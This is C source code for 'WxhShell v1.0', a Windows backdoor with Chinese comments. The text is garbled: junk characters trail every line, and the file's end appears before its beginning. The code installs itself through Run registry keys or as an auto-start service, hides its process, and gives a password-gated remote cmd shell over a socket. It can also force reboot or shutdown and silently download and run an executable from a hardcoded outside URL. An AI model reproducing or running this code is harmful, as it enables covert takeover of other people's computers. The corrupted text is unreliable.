    if(Boot(SHUTDOWN)) 0 [8=c&F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `uo, __y  
    else { R^n@.^8s  
    closesocket(wsh); sbo^"&%w  
    ExitThread(0); KrcgIB8X  
    } 347eis'  
    break; V&ot3- Rf  
    } 3s*(uS(  
  // 获取shell 1A<,TFg  
  case 's': { QI}E4-s8  
    CmdShell(wsh); (GcT(~Gq)D  
    closesocket(wsh); Q@-ovuxi  
    ExitThread(0); }BJX/, H,  
    break; -*a?<ES`  
  } tX%`#hb?s  
  // 退出 <rIz Z'D  
  case 'x': { j1-,Sqi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @=Fi7M  
    CloseIt(wsh); zj|WZ=1*Wp  
    break; A],ooiq<  
    } l=}~v  
  // 离开 'ZP)cI:+X  
  case 'q': { g(ogXA1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,Hn^z<f   
    closesocket(wsh); }{[mrG   
    WSACleanup(); 1HT_  
    exit(1); k`{7}zxS  
    break; hk>;pU(  
        } b)# Oc,  
  } fJAnKUF)  
  } ut2~rRiK  
@b#^ -  
  // 提示信息 3oy~=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w ej[+y-  
} Dw<k3zaW  
  } %G3(,Qz  
v(]]_h  
  return; BX+.0M  
} a->3`c  
?sz)J 3  
// shell模块句柄 bM,1f/^  
int CmdShell(SOCKET sock) % ps$qB'  
{ "= / f$Xf  
STARTUPINFO si; 9=X)ung9  
ZeroMemory(&si,sizeof(si)); >slm$~rv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LwcIGhy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bi4f]^hQz  
PROCESS_INFORMATION ProcessInfo; [U, ?R  
char cmdline[]="cmd"; <[:o !$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @%ip7Y]e  
  return 0; 4NN$( S-W  
} q@hzo>[  
An*~-u9m  
// 自身启动模式 1 rs&74-  
int StartFromService(void) \b=Pj!^gwb  
{ $Fkaa<9;P  
typedef struct !~]<$WZV  
{ <_Z:'~Zp  
  DWORD ExitStatus; gKz(=  
  DWORD PebBaseAddress; =Z=o#46JY  
  DWORD AffinityMask; 5irwz4.4  
  DWORD BasePriority; (Rt7%{*  
  ULONG UniqueProcessId; HB+|WW t>  
  ULONG InheritedFromUniqueProcessId; 2%RNq<{Z_  
}   PROCESS_BASIC_INFORMATION; x<Vm5j  
/S5| wNu  
PROCNTQSIP NtQueryInformationProcess; ;W>Cqg=  
8to8!(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  qy)_wM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g V5zSudW  
sJwyj D$b  
  HANDLE             hProcess; 3pf[M{dG  
  PROCESS_BASIC_INFORMATION pbi; g~V+4+  
~/^5) g_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o<IAeH {+  
  if(NULL == hInst ) return 0; QrO\jAZ{Ag  
BH]Ynu&o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2(5ebe[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rc&%m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JSh.]j<bJL  
6T 8!xyi-+  
  if (!NtQueryInformationProcess) return 0; Zo1,1O  
.EM`.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9zYVC[o  
  if(!hProcess) return 0; Z{&cuo.@<]  
^B8b%'\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iq( )8nxi  
U9b?i$  
  CloseHandle(hProcess); *m?/O} R  
 V#VN %{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dy_:-2S  
if(hProcess==NULL) return 0; %v20~xW :o  
q, O$ %-70  
HMODULE hMod; #o1=:PQaC  
char procName[255]; H":oNpfb  
unsigned long cbNeeded; %iV^S !e  
;b-XWK=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 95el'K[R  
oudxm[/U  
  CloseHandle(hProcess); "DYJ21Ut4  
p K0"%eA  
if(strstr(procName,"services")) return 1; // 以服务启动 P.gb 1$7<  
\rv<$d@L  
  return 0; // 注册表启动 '],J$ge  
} <[w=TdCPs  
Ub6jxib  
// 主模块 -GxaV #{  
int StartWxhshell(LPSTR lpCmdLine) H%D$(W  
{ |\pbir  
  SOCKET wsl; F$)[kP,wtO  
BOOL val=TRUE; j]`PSl+w  
  int port=0; K6R.@BMN  
  struct sockaddr_in door; :OuA)f  
4EY)!?;  
  if(wscfg.ws_autoins) Install(); ;+"+3  
a\r\PBi  
port=atoi(lpCmdLine); `nu''B H  
@;"|@!l|  
if(port<=0) port=wscfg.ws_port; |ZmUNiAa  
(!:,+*YY  
  WSADATA data; wpN=,&!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 79;<_(Y  
5 sX+~Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }4,L%$@n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |:gf lseE  
  door.sin_family = AF_INET; kDsFR#w&`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ueUuJxq)  
  door.sin_port = htons(port); FYpzQ6s~  
^~etm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m^zUmrj[  
closesocket(wsl); y+NN< EY@  
return 1; y gz6C  
} c24dSNJg,  
:;9F>?VN>0  
  if(listen(wsl,2) == INVALID_SOCKET) { iUN Ib  
closesocket(wsl); %$.3V#?  
return 1; H:V2[y8\  
} 8A})V8  
  Wxhshell(wsl); 9w7n1k.  
  WSACleanup(); 2fL;-\!y(  
, K~}\CR  
return 0; 50S&m+4d+  
J| w>a  
} <<][hQs  
nWw":K<@Q_  
// 以NT服务方式启动 <eWf<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8.O8No:'&  
{ b0Ps5G\ u  
DWORD   status = 0; )6Fok3u  
  DWORD   specificError = 0xfffffff; VAHh~Q6 ;e  
o6.^*%kM'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sBT2j~jhJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zBzZxK>$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !$gR{XH$]  
  serviceStatus.dwWin32ExitCode     = 0; k%WTJbuG<)  
  serviceStatus.dwServiceSpecificExitCode = 0; Pd_U7&w,5  
  serviceStatus.dwCheckPoint       = 0; $Nhs1st*8  
  serviceStatus.dwWaitHint       = 0; 4O^xY 6m  
;,%fE2c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V_.5b&@  
  if (hServiceStatusHandle==0) return; |ATvS2  
YJT&{jYi  
status = GetLastError(); vN;N/mL  
  if (status!=NO_ERROR) LTQ"8  
{ <L8'!q}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UGV+/zxIM  
    serviceStatus.dwCheckPoint       = 0; K0|FY=#2y  
    serviceStatus.dwWaitHint       = 0; X^wt3<Kbf  
    serviceStatus.dwWin32ExitCode     = status; RbOUfD(J4  
    serviceStatus.dwServiceSpecificExitCode = specificError; (c=6yV@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DEKP5?]  
    return; {EB;h\C  
  } *av<E  
wd8 l$*F*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KQ!8ks]  
  serviceStatus.dwCheckPoint       = 0; SJn;{X>)q  
  serviceStatus.dwWaitHint       = 0; 0d)M\lG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 61C7.EZZ;  
} `ts$(u.w  
*v^Jb/E315  
// 处理NT服务事件,比如:启动、停止 gwuI-d^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XpB_N{v9w  
{ Q4#m\KK;i9  
switch(fdwControl) ;u_X)  
{ %rL.|q9  
case SERVICE_CONTROL_STOP: N2^=E1|_  
  serviceStatus.dwWin32ExitCode = 0; ZB= E}]v6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BUDi& |,  
  serviceStatus.dwCheckPoint   = 0; dd%6t  
  serviceStatus.dwWaitHint     = 0; WUn]F~Lt  
  { 24 'J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t6 "%3#s  
  } vtg !8u4  
  return; |.: q  
case SERVICE_CONTROL_PAUSE: ]nn98y+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A4x]Qh3OO  
  break; BO?%'\  
case SERVICE_CONTROL_CONTINUE: gV's=cQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mp1@|*Sn  
  break; x)DMPVB<  
case SERVICE_CONTROL_INTERROGATE: ?=sDM& '  
  break; :D5Rlfj  
}; w3ResQ   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hn G Z=  
} "<N*"euH  
gh]cXuph  
// 标准应用程序主函数 BA:VPTZq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hED}h![  
{ z\W64^'"Z  
UcHJR"M~c  
// 获取操作系统版本 03X1d-  
OsIsNt=GetOsVer(); 6P l<'3&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /hR&8 `\\  
1v2 7;Q<+Q  
  // 从命令行安装 >1Ibc=}g  
  if(strpbrk(lpCmdLine,"iI")) Install(); eF$x1|  
.W%)*&WH\  
  // 下载执行文件 "%w u2%i  
if(wscfg.ws_downexe) { d7;um<%zn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }j)e6>K])  
  WinExec(wscfg.ws_filenam,SW_HIDE); jvL[ JI,b  
} EI%89i`3^  
rglXs  
if(!OsIsNt) { -uG +BraI  
// 如果时win9x,隐藏进程并且设置为注册表启动 $7ZX]%<s  
HideProc(); 4xje$/_d  
StartWxhshell(lpCmdLine); ;A'mB6?%H  
} B~ GbF*j  
else r q].UCj  
  if(StartFromService()) =8. ,43+  
  // 以服务方式启动 kgP0x-Ap  
  StartServiceCtrlDispatcher(DispatchTable); G9cUD[GB  
else 6A-|[(NS  
  // 普通方式启动 ]w8(&,PP  
  StartWxhshell(lpCmdLine); |u<7?)mp  
\~$#1D1f  
return 0; "<1{9  
} Bj;'qB>3  
##>H&,Dp[  
Ve; n}mJ?  
?k{?GtSs  
=========================================== O_7|C\]  
S4z;7z(8+  
%P|/A+Mg"  
8(~ h"]`!  
?CPahU  
iqWQ!r^  
" + [mk<pQ  
"+G8d' %YV  
#include <stdio.h> ](8[}CeL  
#include <string.h> 8<Av@9 *}  
#include <windows.h> fuySN!s  
#include <winsock2.h> Tyx_/pJT  
#include <winsvc.h> p<"mt]  
#include <urlmon.h> A3/k@S-R2  
k5pN  
#pragma comment (lib, "Ws2_32.lib") F={a;Dvrn  
#pragma comment (lib, "urlmon.lib") s2'h  
zK@@p+n_#.  
#define MAX_USER   100 // 最大客户端连接数 yY q,*<G  
#define BUF_SOCK   200 // sock buffer h2d(?vOT  
#define KEY_BUFF   255 // 输入 buffer VMWf>ZU  
wnC81$1l~  
#define REBOOT     0   // 重启 S<Xf>-8w  
#define SHUTDOWN   1   // 关机 Lp9E:D->  
wFZP,fQ9l  
#define DEF_PORT   5000 // 监听端口 Qvhl4-XjZa  
/%^#8<=|U  
#define REG_LEN     16   // 注册表键长度 <Q3c[ Y  
#define SVC_LEN     80   // NT服务名长度 N(yz k_~  
Y}wyw8g/  
// 从dll定义API E7hY8#G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cw&KVw*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \'O"~W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nU7[c| =  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); + {'.7#  
LKDO2N  
// wxhshell配置信息 Zj'9rXhrM1  
struct WSCFG { }O p; g^W  
  int ws_port;         // 监听端口 CpT jJXb  
  char ws_passstr[REG_LEN]; // 口令 9hyn`u.  
  int ws_autoins;       // 安装标记, 1=yes 0=no JB<t6+"rD  
  char ws_regname[REG_LEN]; // 注册表键名 c-sfg>0^  
  char ws_svcname[REG_LEN]; // 服务名 TB31- ()  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dk^~;m#iN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Urhy#LC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <N~K ;n v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?}Y]|c^W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G' 1'/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5)X=*I  
1< ?4\?j  
}; $%f&a3#  
6ik$B   
// default Wxhshell configuration v`T c}c '  
struct WSCFG wscfg={DEF_PORT, <1TAw.  
    "xuhuanlingzhe", -mh3DhJ,  
    1, cU  
    "Wxhshell", {oL>1h,%3?  
    "Wxhshell", Dw"\/p:-3  
            "WxhShell Service", .e-#yET  
    "Wrsky Windows CmdShell Service", 1xvu<|F  
    "Please Input Your Password: ", yB!dp;gM{  
  1, BTxrp  
  "http://www.wrsky.com/wxhshell.exe", `WS&rmq&'  
  "Wxhshell.exe" |N]XJ)?  
    }; nJ;.Td  
^B^9KEjTz  
// 消息定义模块 qe\5m.k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n=q 76W\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _#8MkW#]~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o+VQ\1as?(  
char *msg_ws_ext="\n\rExit."; ?V=CB,^  
char *msg_ws_end="\n\rQuit."; J[kTlHMD  
char *msg_ws_boot="\n\rReboot..."; y1#1Ne_  
char *msg_ws_poff="\n\rShutdown..."; cz$2R  
char *msg_ws_down="\n\rSave to "; ,]D,P  
B-mowmJ3dg  
char *msg_ws_err="\n\rErr!"; +w~oH=  
char *msg_ws_ok="\n\rOK!"; M3au{6y  
{4PwLCy  
char ExeFile[MAX_PATH]; 2KZneS`  
int nUser = 0; E*lxVua  
HANDLE handles[MAX_USER]; 1.>m@Slr>  
int OsIsNt; .]K%G\*`:  
qxj(p o  
SERVICE_STATUS       serviceStatus; "Y.y:Vv;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ajpX L  
w2'5#`m  
// 函数声明 oL<St$1  
int Install(void); }GIt!PG  
int Uninstall(void); tl>7^hH  
int DownloadFile(char *sURL, SOCKET wsh); 4Po_-4  
int Boot(int flag); yCo.cd-  
void HideProc(void); Bbp|!+KP{(  
int GetOsVer(void); *lb<$E]="!  
int Wxhshell(SOCKET wsl); P93@;{c(  
void TalkWithClient(void *cs); T^q 0'#/  
int CmdShell(SOCKET sock); T]$U""  
int StartFromService(void); S,=|AD  
int StartWxhshell(LPSTR lpCmdLine); :v 4]D4\o  
Y9|!+,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #fM'>$N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hv+zGID7  
D)Dr__x  
// 数据结构和表定义 2T`!v  
SERVICE_TABLE_ENTRY DispatchTable[] = Q@HV- (A  
{ }~q5w{_n  
{wscfg.ws_svcname, NTServiceMain}, tnIX:6  
{NULL, NULL} tMe~vq[  
}; NEF# }s2=  
\j.:3X r  
// 自我安装 WPDyu.QD  
int Install(void) ^C%<l( b  
{  S[QrS 7  
  char svExeFile[MAX_PATH]; oXS}IL og'  
  HKEY key; YbLW/E\T  
  strcpy(svExeFile,ExeFile); zMJT:7*`|  
T 1t6p&  
// 如果是win9x系统,修改注册表设为自启动 hzC>~Ub5  
if(!OsIsNt) { w=@Dv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SY8C4vb'h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F5#YOck&,  
  RegCloseKey(key); qY#6SO`_iy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A70d\i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F<w/PMb  
  RegCloseKey(key); jq-_4}w?C  
  return 0; bN88ua}k{  
    } h.fq,em+H  
  } \di=  
} GH xp7H  
else { 9{uO1O\  
S@sO;-^+  
// 如果是NT以上系统,安装为系统服务 kNL\m[W8$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iyog`s c  
if (schSCManager!=0) _tXlF;  
{ l@:0e]8|o  
  SC_HANDLE schService = CreateService KGpA2Nx  
  ( Lh<).<S  
  schSCManager, KY N0  
  wscfg.ws_svcname, a'z7(8$$  
  wscfg.ws_svcdisp, -!9G0h&i|  
  SERVICE_ALL_ACCESS, '%`:+]!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =I~mKn  
  SERVICE_AUTO_START, [fIg{Q  
  SERVICE_ERROR_NORMAL, Tac$LS\Q  
  svExeFile, <^uBoKB/f  
  NULL, ei{eTp4HpV  
  NULL, O| hpXkV  
  NULL, 4H<lm*!^  
  NULL, OUXR  
  NULL x$%!U[!3  
  ); \^%}M!tan  
  if (schService!=0) :,I:usW"  
  { $tS}LN_!  
  CloseServiceHandle(schService); ]$_NyAoBb  
  CloseServiceHandle(schSCManager); k# rBB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ! v0LBe4  
  strcat(svExeFile,wscfg.ws_svcname); .6'qoo_N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &8 x-o,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {.\TtE  
  RegCloseKey(key); !0cD$^7  
  return 0; m9Hit8f@Q  
    } XSl GE9]AG  
  } >e"#'K0?\  
  CloseServiceHandle(schSCManager); mdg i5v  
} VM,]X.  
} "FKOaQ%IH  
}AH] th  
return 1; 1y4  
} Ez=Olbk  
8*T=Xei8  
// 自我卸载 d<N:[Y\4l  
int Uninstall(void) h2""9aP !  
{ \;"=QmRD%:  
  HKEY key; (*)hD(C5  
}!C)}.L<  
if(!OsIsNt) { > "=>3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H+Sz=tg5  
  RegDeleteValue(key,wscfg.ws_regname); .h4 \Y A  
  RegCloseKey(key); sp*v?5lW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J~UuS+Ufv  
  RegDeleteValue(key,wscfg.ws_regname); "!%l/_p?  
  RegCloseKey(key); YV anW  
  return 0; 9j9TPyC/2  
  } OH(waKq2I  
} s+?zL~t  
} kq,ucU%>p  
else { KNIn:K^/  
Da&]y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ah+iZ}E%  
if (schSCManager!=0) UQ@L V~6{R  
{ xx%j.zDI]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <3C*Z"aQ>|  
  if (schService!=0) hNmJ!Uo  
  { 'u |c  
  if(DeleteService(schService)!=0) { DX K?Cv71z  
  CloseServiceHandle(schService); ByNn  
  CloseServiceHandle(schSCManager); I75DUJqy]  
  return 0; EGF '"L  
  } l3I:Q^x@  
  CloseServiceHandle(schService); zsyIV!(  
  } $6iX   
  CloseServiceHandle(schSCManager); 6.nCV 0xA  
} V/I<g  
} +Kbjzh3<wG  
xBi' X  
return 1; y''z5['  
} ~;{; ,8!)  
D (?DW}Rqs  
// 从指定url下载文件 T&u5ki4NE  
int DownloadFile(char *sURL, SOCKET wsh) V7fq4O^:  
{ 7/@TF/V  
  HRESULT hr; \B,@`dw  
char seps[]= "/"; *@=/qkaJaI  
char *token; h-<81"}j1  
char *file; Jgd'1'FOs  
char myURL[MAX_PATH]; :hk5 .[  
char myFILE[MAX_PATH]; ;dZZ;#k%  
%^GfS@t  
strcpy(myURL,sURL); rgtT~$S  
  token=strtok(myURL,seps); W^LY'ypT  
  while(token!=NULL) Z!zF\<r  
  { f=gW]x7'R+  
    file=token; J({Xg?  
  token=strtok(NULL,seps); F {4bo$~>  
  } `1{ZqRFQ  
Mhf5bN|wQ  
GetCurrentDirectory(MAX_PATH,myFILE); =O_4|7Zl  
strcat(myFILE, "\\"); /quc}"__  
strcat(myFILE, file); Tg)| or/ %  
  send(wsh,myFILE,strlen(myFILE),0); [KaAXv .X  
send(wsh,"...",3,0); ?u=Fj_N_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jaMjZp;{(  
  if(hr==S_OK) Tc &z:  
return 0; (G4at2YLd  
else 6@ IXqKz  
return 1; pF:$  ko  
FvXZ<(A{  
} ]kRfB:4ED  
'(yAfL 9}  
// 系统电源模块 }mq6]ZrK  
int Boot(int flag) e~[/i\  
{ (X1e5j>Ru  
  HANDLE hToken; [-k  
  TOKEN_PRIVILEGES tkp; bvr^zH,C  
2 %@4]  
  if(OsIsNt) { O%zU-_|*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z.9U}F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R_ ,UMt  
    tkp.PrivilegeCount = 1; Bp`]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ," Wr"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RJ ||}5  
if(flag==REBOOT) { }{qZ[/JwqN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6YLj^w] %  
  return 0; ]J}  
} 1s2>C!\  
else { AOWmzu{zw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4Lh!8g=/  
  return 0; j4qR(p(vC  
} YpZ+n*&+  
  } F2dHH^  
  else { ^ft>@=K(|  
if(flag==REBOOT) { Y1OkkcPb{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uK#4(eY=W  
  return 0; DiScFx |rE  
} 7he,?T)vD  
else { udF~5w H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D>@I+4{p  
  return 0; {3p4:*}  
} `d +Da=L  
} ?m=N]!n  
L9 \1+rq  
return 1; pb?c$n$u*  
} 5C*Pd Wpl  
/k6MzFoid  
// win9x进程隐藏模块 P[#e/qnXu|  
void HideProc(void) KB,j7 ~V  
{ %~JJ.&  
wj<6kG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ooL!TS GD  
  if ( hKernel != NULL ) 9ni1f{k  
  { _476pZ_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3!Ij;$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -M~:lK]n   
    FreeLibrary(hKernel); %lx!. G  
  } u+e{Mim  
}wjw:M  
return; B6nX$T4zP  
} R'`qKc  
qIE9$7*X  
// 获取操作系统版本 }J`w4P  
int GetOsVer(void) ]z;I _-  
{ #7 $ H  
  OSVERSIONINFO winfo; q&- `,8#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \*y-g@-{W$  
  GetVersionEx(&winfo); 7P5)Z-K[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \0I_<  
  return 1; gNrjo=  
  else $}q23  
  return 0; L>NL:68yN  
} EHIF>@TZ  
y`5 9A  
// 客户端句柄模块 SC!RbW@3  
int Wxhshell(SOCKET wsl) -1_)LO&H  
{ ]BZA:dd.G  
  SOCKET wsh; m%?pf2%I#  
  struct sockaddr_in client; rgv?gaQ>  
  DWORD myID; t?&|8SId  
El".I?E*  
  while(nUser<MAX_USER) 1;8UC;,  
{ q=m'^ ,gPS  
  int nSize=sizeof(client); w\u=)3qyVV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O`\;e>!t  
  if(wsh==INVALID_SOCKET) return 1; EhvX)s  
7~ p@0)''  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CL;}IBd a  
if(handles[nUser]==0) B eo@K|3GN  
  closesocket(wsh); a :`E0}C  
else }W8;=$jr  
  nUser++; (Q!}9K3  
  } RnE4<Cy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *W1dG#Np}  
6ex/TySM  
  return 0; [Ek7b *  
}  _,0  
`?@}>.  
// 关闭 socket n\D&!y[]F  
void CloseIt(SOCKET wsh) ~&{S<Wl  
{ "| g>'wM*  
closesocket(wsh); &64h ;P<  
nUser--; [5b--O  
ExitThread(0); iB yf{I>+  
} k5e;fA/w  
 KC6.Fr{  
// 客户端请求句柄 #x60xz  
void TalkWithClient(void *cs) ! E5HN :#  
{ }C?'BRX  
<2x^slx)?  
  SOCKET wsh=(SOCKET)cs; itP,\k7>d  
  char pwd[SVC_LEN]; Sy_G,+$\  
  char cmd[KEY_BUFF]; >T-u~i$s  
char chr[1]; -f^tE,-  
int i,j; b\!_cb~"@  
ie95rZp  
  while (nUser < MAX_USER) { #q$HQ&k  
6;d*r$0Fc  
if(wscfg.ws_passstr) { v{N`.~,^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /-'}q=M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^ VyKd  
  //ZeroMemory(pwd,KEY_BUFF); 7S :\"A7  
      i=0; RSRS wkC  
  while(i<SVC_LEN) { ltSU fI  
JFmC\  
  // 设置超时 o5PO =AN  
  fd_set FdRead; X`K<>0.N  
  struct timeval TimeOut; :eCwY  
  FD_ZERO(&FdRead); ec;o\erPG  
  FD_SET(wsh,&FdRead); ~,Ix0h+H+M  
  TimeOut.tv_sec=8; ^uc=f2=>,  
  TimeOut.tv_usec=0;  |>^JRx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \*?~Yj #  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [|$h*YK  
ebhXak[w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ll't>)  
  pwd=chr[0]; 2l'6.  
  if(chr[0]==0xd || chr[0]==0xa) { *N<]Xy @  
  pwd=0;  K5h  
  break; |wMN}bq|T  
  } (%6P0*  
  i++; 'H>^2C iM  
    } RtS+<^2a;  
2F.;;Ab  
  // 如果是非法用户,关闭 socket @,+5y\]C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]%H`_8<gc  
} hn@08t G  
_TZRVa_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JH9J5%sp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZMlm)?m  
!Ai@$tl[S  
while(1) { (w3YvG.  
q]-r@yF  
  ZeroMemory(cmd,KEY_BUFF); ouQ T  
p6V0`5@t  
      // 自动支持客户端 telnet标准   g3y~bf  
  j=0; {!L~@r  
  while(j<KEY_BUFF) { Q)h(nbbVak  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #;yZ  
  cmd[j]=chr[0]; !F$6-0%  
  if(chr[0]==0xa || chr[0]==0xd) { x 9fip-  
  cmd[j]=0;  =:pJ  
  break; b4kgFA  
  } I\ob7X'Xu!  
  j++; {EQOP]  
    } u*`GiZAO  
)ez9"# MH'  
  // 下载文件 <bWG!ZG  
  if(strstr(cmd,"http://")) { PJH&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TC*g|d @b  
  if(DownloadFile(cmd,wsh)) q2E_ A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y<Ot)fa$  
  else x%B/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sPIn|d  
  } (GfZ*  
  else { Gd85kY@w7  
s$j,9uRr  
    switch(cmd[0]) {  @q) d  
  P*j|.63  
  // 帮助 [ 4)F f  
  case '?': { `ERz\`d~Y;  
